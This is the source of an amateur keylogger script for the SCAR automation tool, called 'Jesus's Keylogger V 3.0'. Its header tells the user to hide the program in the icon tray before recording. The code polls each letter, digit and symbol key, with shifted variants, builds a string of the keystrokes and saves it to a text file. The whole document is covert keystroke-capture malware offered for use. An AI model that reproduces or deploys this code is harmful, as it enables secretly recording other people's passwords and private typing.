//////                           INSTRUCTIONS                          //////
//////  1.Press Ctrl + M to hide SCAR (goes into icon tray)            //////
//////  2.Press Ctrl + Alt + R to start recording                      //////
//////  3.press F11 and F12 to stop recording if you stop the script   //////
//////                it will not save your Keylogs.                   //////
//////                                                                 //////
//////                       Have Fun =] Again...                      //////
//////                                                                 //////
//////                           INFORMATION                           //////
//////                     Jesus's Keylogger V 3.0                     //////
//////             Created by Jesus pwns Zezima [ Shade 45 ]           //////
//////                      on Tuesday 22 July 2008                    //////
//////                                                                 //////
//////                            New features:                        //////
//////                    -Logs Saved into text document               //////
//////                                                                 //////
//////                                                                 //////
//////              Please Report All Bugs and Suggestions             //////
//////                                                                 //////
/////////////////////////////////////////////////////////////////////////////
/////////////////////////////////////////////////////////////////////////////
/////////////////////////////////////////////////////////////////////////////






program New;

const
LogName = 'KeyLogs'; ////Change to what you want your keylogs to be called
FileType = '.txt';   ////Change to what file type you want

var
Information : String;
CharCount : Integer;


Procedure SaveReport;
var
  savefilecreate: Tstringlist;
Begin
  savefilecreate := Tstringlist.create;
  savefilecreate.add(Information);
  If Not savetofile(savefilecreate, apppath + logname + FileType) Then
  WriteLn('Failed to save keylogs.')
  Else
  WriteLn('Keylog Saving Succesful');
End;

procedure findkeys;
begin
repeat

if iskeydown(' ') then
   begin
   CharCount := CharCount + 1;
   insert(' ', information, CharCount + 1);
   wait(100)
end;
wait(1/2)

if iskeydown('a') then
   begin
   CharCount := CharCount + 1;
   insert('a', information, CharCount + 1);
   wait(100)
end;
wait(1/2)

if iskeydown('b') then
   begin
     CharCount := CharCount + 1;
   insert('b', information, CharCount + 1);
   wait(100)
end;
wait(1/2)

if iskeydown('c') then
   begin
     CharCount := CharCount + 1;
   insert('c', information, CharCount + 1);
   wait(100)
end;
wait(1/2)

if iskeydown('d') then
   begin
     CharCount := CharCount + 1;
   insert('d', information, CharCount + 1);
   wait(100)
end;
wait(1/2)

if iskeydown('e') then
   begin
     CharCount := CharCount + 1;
   insert('e', information, CharCount + 1);
   wait(100)
end;
wait(1/2)

if iskeydown('f') then
   begin
     CharCount := CharCount + 1;
   insert('f', information, CharCount + 1);
   wait(100)
end;
wait(1/2)

if iskeydown('g') then
   begin
     CharCount := CharCount + 1;
   insert('g', information, CharCount + 1);
   wait(100)
end;
wait(1/2)

if iskeydown('h') then
   begin
     CharCount := CharCount + 1;
   insert('h', information, CharCount + 1);
   wait(100)
end;
wait(1/2)

if iskeydown('i') then
   begin
     CharCount := CharCount + 1;
   insert('i', information, CharCount + 1);
   wait(100)
end;
wait(1/2)

if iskeydown('j') then
   begin
     CharCount := CharCount + 1;
   insert('j', information, CharCount + 1);
   wait(100)
end;
wait(1/2)

if iskeydown('k') then
   begin
     CharCount := CharCount + 1;
   insert('k', information, CharCount + 1);
   wait(100)
end;
wait(1/2)

if iskeydown('l') then
   begin
     CharCount := CharCount + 1;
   insert('l', information, CharCount + 1);
   wait(100)
end;
wait(1/2)

if iskeydown('m') then
   begin
     CharCount := CharCount + 1;
   insert('m', information, CharCount + 1);
   wait(100)
end;
wait(1/2)

if iskeydown('n') then
   begin
     CharCount := CharCount + 1;
   insert('n', information, CharCount + 1);
   wait(100)
end;
wait(1/2)

if iskeydown('o') then
   begin
     CharCount := CharCount + 1;
   insert('o', information, CharCount + 1);
   wait(100)
end;
wait(1/2)

if iskeydown('p') then
   begin
     CharCount := CharCount + 1;
   insert('p', information, CharCount + 1);
   wait(100)
end;
wait(1/2)

if iskeydown('q') then
   begin
     CharCount := CharCount + 1;
   insert('q', information, CharCount + 1);
   wait(100)
end;
wait(1/2)

if iskeydown('r') then
   begin
     CharCount := CharCount + 1;
   insert('r', information, CharCount + 1);
   wait(100)
end;
wait(1/2)

if iskeydown('s') then
   begin
     CharCount := CharCount + 1;
   insert('s', information, CharCount + 1);
   wait(100)
end;
wait(1/2)

if iskeydown('t') then
   begin
     CharCount := CharCount + 1;
   insert('t', information, CharCount + 1);
   wait(100)
end;
wait(1/2)

if iskeydown('u') then
   begin
     CharCount := CharCount + 1;
   insert('u', information, CharCount + 1);
   wait(100)
end;
wait(1/2)

if iskeydown('v') then
   begin
     CharCount := CharCount + 1;
   insert('v', information, CharCount + 1);
   wait(100)
end;
wait(1/2)

if iskeydown('w') then
   begin
     CharCount := CharCount + 1;
   insert('w', information, CharCount + 1);
   wait(100)
end;
wait(1/2)

if iskeydown('x') then
   begin
     CharCount := CharCount + 1;
   insert('x', information, CharCount + 1);
   wait(100)
end;
wait(1/2)

if iskeydown('y') then
   begin
     CharCount := CharCount + 1;
   insert('y', information, CharCount + 1);
   wait(100)
end;
wait(1/2)

if iskeydown('z') then
   begin
     CharCount := CharCount + 1;
   insert('z', information, CharCount + 1);
   wait(100)
end;
wait(1/2)

if iskeydown('1') then
   begin
     CharCount := CharCount + 1;
   insert('1', information, CharCount + 1);
   wait(100)
end;
wait(1/2)

if iskeydown('2') then
   begin
     CharCount := CharCount + 1;
   insert('2', information, CharCount + 1);
   wait(100)
end;
wait(1/2)

if iskeydown('3') then
   begin
     CharCount := CharCount + 1;
   insert('3', information, CharCount + 1);
   wait(100)
end;
wait(1/2)

if iskeydown('4') then
   begin
     CharCount := CharCount + 1;
   insert('4', information, CharCount + 1);
   wait(100)
end;
wait(1/2)

if iskeydown('5') then
   begin
     CharCount := CharCount + 1;
   insert('5', information, CharCount + 1);
   wait(100)
end;
wait(1/2)

if iskeydown('6') then
   begin
     CharCount := CharCount + 1;
   insert('6', information, CharCount + 1);
   wait(100)
end;
wait(1/2)

if iskeydown('7') then
   begin
     CharCount := CharCount + 1;
   insert('7', information, CharCount + 1);
   wait(100)
end;
wait(1/2)

if iskeydown('8') then
   begin
     CharCount := CharCount + 1;
   insert('8', information, CharCount + 1);
   wait(100)
end;
wait(1/2)

if iskeydown('9') then
   begin
     CharCount := CharCount + 1;
   insert('9', information, CharCount + 1);
   wait(100)
end;
wait(1/2)

if iskeydown('0') then
   begin
     CharCount := CharCount + 1;
   insert('0', information, CharCount + 1);
   wait(100)
end;
wait(1/2)

if iskeydown('`') then
   begin
     CharCount := CharCount + 1;
   insert('`', information, CharCount + 1);
   wait(100)
end;
wait(1/2)

if iskeydown(';') then
   begin
     CharCount := CharCount + 1;
   insert(';', information, CharCount + 1);
   wait(100)
end;
wait(1/2)

if iskeydown(',') then
   begin
     CharCount := CharCount + 1;
   insert(',', information, CharCount + 1);
   wait(100)
end;
wait(1/2)

if iskeydown('.') then
   begin
     CharCount := CharCount + 1;
   insert('.', information, CharCount + 1);
   wait(100)
end;


if iskeydown('/') then
   begin
     CharCount := CharCount + 1;
   insert('/', information, CharCount + 1);
   wait(100)
end;


if iskeydown('-') then
   begin
     CharCount := CharCount + 1;
   insert('-', information, CharCount + 1);
   wait(100)
end;


if iskeydown('=') then
   begin
     CharCount := CharCount + 1;
   insert('=', information, CharCount + 1);
   wait(100)
end;
wait(1/2)

if iskeydown('\') then
   begin
     CharCount := CharCount + 1;
   insert('\', information, CharCount + 1);
   wait(100)
end;
wait(1/2)

if iskeydown('[') then
   begin
     CharCount := CharCount + 1;
   insert('[', information, CharCount + 1);
   wait(100)
end;
wait(1/2)

if iskeydown(']') then
   begin
     CharCount := CharCount + 1;
   insert(']', information, CharCount + 1);
   wait(100)
end;
wait(1/2)

if isfunctionkeydown(0) and iskeydown('a') then
   begin
     CharCount := CharCount + 1;
   insert('A', information, CharCount + 1);
   wait(100)
end;
wait(1/2)

if isfunctionkeydown(0) and iskeydown('b') then
   begin
     CharCount := CharCount + 1;
   insert('B', information, CharCount + 1);
   wait(100)
end;
wait(1/2)

if isfunctionkeydown(0) and iskeydown('c') then
   begin
     CharCount := CharCount + 1;
   insert('C', information, CharCount + 1);
   wait(100)
end;
wait(1/2)

if isfunctionkeydown(0) and iskeydown('d') then
   begin
     CharCount := CharCount + 1;
   insert('D', information, CharCount + 1);
   wait(100)
end;
wait(1/2)

if isfunctionkeydown(0) and iskeydown('e') then
   begin
     CharCount := CharCount + 1;
   insert('E', information, CharCount + 1);
   wait(100)
end;
wait(1/2)

if isfunctionkeydown(0) and iskeydown('f') then
   begin
     CharCount := CharCount + 1;
   insert('F', information, CharCount + 1);
   wait(100)
end;
wait(1/2)

if isfunctionkeydown(0) and iskeydown('g') then
   begin
     CharCount := CharCount + 1;
   insert('G', information, CharCount + 1);
   wait(100)
end;
wait(1/2)

if isfunctionkeydown(0) and iskeydown('h') then
   begin
     CharCount := CharCount + 1;
   insert('H', information, CharCount + 1);
   wait(100)
end;
wait(1/2)

if isfunctionkeydown(0) and iskeydown('i') then
   begin
     CharCount := CharCount + 1;
   insert('I', information, CharCount + 1);
   wait(100)
end;
wait(1/2)

if isfunctionkeydown(0) and iskeydown('j') then
   begin
     CharCount := CharCount + 1;
   insert('J', information, CharCount + 1);
   wait(100)
end;
wait(1/2)

if isfunctionkeydown(0) and iskeydown('k') then
   begin
     CharCount := CharCount + 1;
   insert('K', information, CharCount + 1);
   wait(100)
end;
wait(1/2)

if isfunctionkeydown(0) and iskeydown('l') then
   begin
     CharCount := CharCount + 1;
   insert('L', information, CharCount + 1);
   wait(100)
end;
wait(1/2)

if isfunctionkeydown(0) and iskeydown('m') then
   begin
     CharCount := CharCount + 1;
   insert('M', information, CharCount + 1);
   wait(100)
end;
wait(1/2)

if isfunctionkeydown(0) and iskeydown('n') then
   begin
     CharCount := CharCount + 1;
   insert('N', information, CharCount + 1);
   wait(100)
end;
wait(1/2)

if isfunctionkeydown(0) and iskeydown('o') then
   begin
     CharCount := CharCount + 1;
   insert('O', information, CharCount + 1);
   wait(100)
end;
wait(1/2)

if isfunctionkeydown(0) and iskeydown('p') then
   begin
     CharCount := CharCount + 1;
   insert('P', information, CharCount + 1);
   wait(100)
end;
wait(1/2)

if isfunctionkeydown(0) and iskeydown('q') then
   begin
     CharCount := CharCount + 1;
   insert('Q', information, CharCount + 1);
   wait(100)
end;
wait(1/2)

if isfunctionkeydown(0) and iskeydown('r') then
   begin
     CharCount := CharCount + 1;
   insert('R', information, CharCount + 1);
   wait(100)
end;
wait(1/2)

if isfunctionkeydown(0) and iskeydown('s') then
   begin
     CharCount := CharCount + 1;
   insert('S', information, CharCount + 1);
   wait(100)
end;
 wait(1/2)

if isfunctionkeydown(0) and iskeydown('t') then
   begin
     CharCount := CharCount + 1;
   insert('T', information, CharCount + 1);
   wait(100)
end;
wait(1/2)

if isfunctionkeydown(0) and iskeydown('u') then
   begin
     CharCount := CharCount + 1;
   insert('U', information, CharCount + 1);
   wait(100)
end;
wait(1/2)

if isfunctionkeydown(0) and iskeydown('v') then
   begin
     CharCount := CharCount + 1;
   insert('V', information, CharCount + 1);
   wait(100)
end;
wait(1/2)

if isfunctionkeydown(0) and iskeydown('w') then
   begin
     CharCount := CharCount + 1;
   insert('W', information, CharCount + 1);
   wait(100)
end;
wait(1/2)

if isfunctionkeydown(0) and iskeydown('x') then
   begin
     CharCount := CharCount + 1;
   insert('X', information, CharCount + 1);
   wait(100)
end;
wait(1/2)

if isfunctionkeydown(0) and iskeydown('y') then
   begin
     CharCount := CharCount + 1;
   insert('Y', information, CharCount + 1);
   wait(100)
end;
wait(1/2)

if isfunctionkeydown(0) and iskeydown('z') then
   begin
     CharCount := CharCount + 1;
   insert('Z', information, CharCount + 1);
   wait(100)
end;
wait(1/2)

if isfunctionkeydown(0) and iskeydown('1') then
   begin
     CharCount := CharCount + 1;
   insert('!', information, CharCount + 1);
   wait(100)
end;
wait(1/2)

if isfunctionkeydown(0) and iskeydown('2') then
   begin
     CharCount := CharCount + 1;
   insert('@', information, CharCount + 1);
   wait(100)
end;
wait(1/2)

if isfunctionkeydown(0) and iskeydown('3') then
   begin
     CharCount := CharCount + 1;
   insert('#', information, CharCount + 1);
   wait(100)
end;
wait(1/2)

if isfunctionkeydown(0) and iskeydown('4') then
   begin
     CharCount := CharCount + 1;
   insert('$', information, CharCount + 1);
   wait(100)
end;
wait(1/2)

if isfunctionkeydown(0) and iskeydown('5') then
   begin
     CharCount := CharCount + 1;
   insert('%', information, CharCount + 1);
   wait(100)
end;
wait(1/2)

if isfunctionkeydown(0) and iskeydown('6') then
   begin
     CharCount := CharCount + 1;
   insert('^', information, CharCount + 1);
   wait(100)
end;
wait(1/2)

if isfunctionkeydown(0) and iskeydown('7') then
   begin
     CharCount := CharCount + 1;
   insert('&', information, CharCount + 1);
   wait(100)
end;
wait(1/2)

if isfunctionkeydown(0) and iskeydown('8') then
   begin
     CharCount := CharCount + 1;
   insert('*', information, CharCount + 1);
   wait(100)
end;
wait(1/2)

if isfunctionkeydown(0) and iskeydown('9') then
   begin
     CharCount := CharCount + 1;
   insert('(', information, CharCount + 1);
   wait(100)
end;
wait(1/2)

if isfunctionkeydown(0) and iskeydown('0') then
   begin
     CharCount := CharCount + 1;
   insert(')', information, CharCount + 1);
   wait(100)
end;
wait(1/2)

if isfunctionkeydown(0) and iskeydown('-') then
   begin
     CharCount := CharCount + 1;
   insert('_', information, CharCount + 1);
   wait(100)
end;
wait(1/2)

if isfunctionkeydown(0) and iskeydown('=') then
   begin
     CharCount := CharCount + 1;
   insert('+', information, CharCount + 1);
   wait(100)
end;
wait(1/2)

if isfunctionkeydown(0) and iskeydown('\') then
   begin
     CharCount := CharCount + 1;
   insert('|', information, CharCount + 1);
   wait(100)
end;
wait(1/2)

if isfunctionkeydown(0) and iskeydown('`') then
   begin
     CharCount := CharCount + 1;
   insert('~', information, CharCount + 1);
   wait(100)
end;
wait(1/2)

if isfunctionkeydown(0) and iskeydown(';') then
   begin
     CharCount := CharCount + 1;
   insert(':', information, CharCount + 1);
   wait(100)
end;
wait(1/2)

if isfunctionkeydown(0) and iskeydown('[') then
   begin
     CharCount := CharCount + 1;
   insert('{', information, CharCount + 1);
   wait(100)
end;
wait(1/2)

if isfunctionkeydown(0) and iskeydown(']') then
   begin
     CharCount := CharCount + 1;
   insert('}', information, CharCount + 1);
   wait(100)
end;
wait(1/2)

if isfunctionkeydown(0) and iskeydown(',') then
   begin
     CharCount := CharCount + 1;
   insert('<', information, CharCount + 1);
   wait(100)
end;
wait(1/2)

if isfunctionkeydown(0) and iskeydown('.') then
   begin
     CharCount := CharCount + 1;
   insert('>', information, CharCount + 1);
   wait(100)
end;
wait(1/2)

if isfunctionkeydown(0) and iskeydown('/') then
   begin
     CharCount := CharCount + 1;
   insert('?', information, CharCount + 1);
   wait(100)
end;
wait(1/2)

if isfkeydown(11) and isfkeydown(12) then
begin
   savereport;
wait(200)
   terminatescript;
   end;
   until(false)
end;

begin
end.